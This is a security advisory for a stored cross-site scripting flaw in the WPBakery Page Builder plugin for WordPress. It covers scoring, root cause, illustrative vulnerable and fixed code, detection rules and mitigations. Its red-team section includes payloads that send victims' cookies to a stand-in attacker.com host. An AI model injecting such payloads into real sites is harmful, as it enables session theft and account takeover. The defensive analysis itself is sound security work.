CVE-2025-4965

Executive Summary

CVE-2025-4965 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder plugin for WordPress, affecting all versions up to and including 8.4.1. The flaw resides in the plugin's Grid Builder feature, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with author-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept or patch is available, making this a high-priority issue for WordPress site administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, targeting the WPBakery Page Builder plugin. As a commercial plugin, it is distributed via the WPBakery website and bundled with many premium themes. The lack of a patch from the vendor (Wpbakery) means that affected sites must rely on temporary mitigations, such as restricting author-level access or using a Web Application Firewall (WAF). The plugin's widespread use in the WordPress supply chain amplifies the risk, as compromised sites can be used to distribute malware or launch further attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs author-level access.
• User Interaction: None (UI:N) – No victim interaction needed for injection.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited content modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used plugin makes this a significant threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the WPBakery Page Builder's Grid Builder feature, which allows authors to create custom grid layouts using shortcodes and attributes. The plugin fails to properly sanitize user-supplied attributes (e.g., title, description, or custom CSS classes) before rendering them in the page HTML. An attacker with author-level access can craft a malicious grid element containing JavaScript payloads in these attributes. When the page is saved and viewed by another user (including administrators), the injected script executes in the context of the victim's browser.

The root cause is a lack of output escaping in the grid rendering function. Specifically, the plugin uses echo or print to output attribute values without applying WordPress's built-in escaping functions like esc_attr() or esc_html(). This allows HTML and JavaScript to be injected directly into the DOM.

Attack Flow:

1. Attacker logs in with author-level credentials.
2. Creates a new page or post and adds a Grid Builder element.
3. Injects a malicious payload into a vulnerable attribute (e.g., title="<script>alert('XSS')</script>").
4. Saves/publishes the page.
5. Victim (e.g., admin or visitor) accesses the page.
6. The injected script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.

Vulnerable Code (WPBakery Grid Builder, version <= 8.4.1):

// In a grid rendering function
function render_grid($atts) {
    $title = $atts['title'];
    echo '<div class="grid-item" title="' . $title . '">';
    // ... rest of grid
}

Patched Code (Hypothetical Fix):

function render_grid($atts) {
    $title = esc_attr($atts['title']); // Escape for HTML attribute context
    echo '<div class="grid-item" title="' . $title . '">';
    // ... rest of grid
}

The fix uses esc_attr() to escape the attribute value, preventing injection of HTML or JavaScript. Additionally, all user-supplied attributes should be sanitized with sanitize_text_field() or similar functions before use.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WPBakery Page Builder <= 8.4.1.
• Author-level account credentials.

Exploitation Steps:

1. Log in to WordPress as an author.
2. Create a new page and add a "Grid" element from WPBakery.
3. In the grid settings, locate a vulnerable attribute (e.g., "Title" or "Custom CSS class").
4. Inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. Wait for an admin or visitor to access the page.
7. The payload executes, exfiltrating cookies to the attacker's server.

Example Payload for Cookie Theft:

<script>
var img = new Image();
img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team

Detection & Prevention:

• Input Validation: Implement strict input validation on all WPBakery shortcode attributes using a WAF or custom plugin.
• Output Escaping: Ensure all user-supplied data is escaped using WordPress functions (esc_attr(), esc_html(), esc_url()).
• Access Control: Limit author-level access to trusted users only. Consider using roles like "Editor" for content creation.
• Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.
• Regular Audits: Scan for stored XSS using automated tools like WPScan or OWASP ZAP.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with WPBakery Page Builder 8.4.1.
• Create an author account and a separate admin account.
• Simulate the attack from the author account and monitor logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing document.cookie or localStorage data.
  • Unusual Referer headers pointing to WordPress admin pages.
• File IOCs:
  • Modified WordPress pages/posts containing <script> tags or event handlers (e.g., onload, onerror) in WPBakery grid elements.
  • Presence of obfuscated JavaScript in page content.
• Log IOCs:
  • WordPress audit logs showing creation of pages with grid elements by author-level users.
  • Web server logs with POST requests to /wp-admin/admin-ajax.php with suspicious shortcode attributes.

Detection Engineering

YARA Rule

rule wpbakery_stored_xss_cve_2025_4965 {
    meta:
        description = "Detects stored XSS payloads in WPBakery Page Builder grid attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4965"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss_payload_3 = /javascript\s*:/is
        $wpbakery_grid = /wpb_grid|vc_grid|grid_builder/i
    condition:
        $wpbakery_grid and ($xss_payload_1 or $xss_payload_2 or $xss_payload_3)
}

Sigma Rule

title: WPBakery Stored XSS via Grid Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WPBakery Page Builder grid attributes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4965
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'wpbakery'
            - 'vc_grid'
            - 'grid_builder'
        cs-request-body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in grid attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4965 WPBakery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"wpbakery"; http_client_body; pcre:"/(<script|on\w+\s*=|javascript\s*:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Grid Builder: Temporarily disable the Grid Builder feature in WPBakery settings until a patch is released.
2. Restrict Author Access: Remove or limit author-level accounts. Only grant "Author" role to trusted users.
3. Apply Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing XSS payloads in WPBakery parameters.

Long-Term Fix:

• Monitor the WPBakery vendor for an official patch. When available, update to the patched version immediately.
• Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.
• Conduct regular security audits of all WordPress plugins and themes.

Workaround Code (for developers): Add the following to your theme's functions.php to escape grid attributes:

add_filter('vc_grid_item_shortcode_atts', function($atts) {
    foreach ($atts as $key => $value) {
        if (is_string($value)) {
            $atts[$key] = esc_attr($value);
        }
    }
    return $atts;
});

Valters IT
Securing Digital Frontiers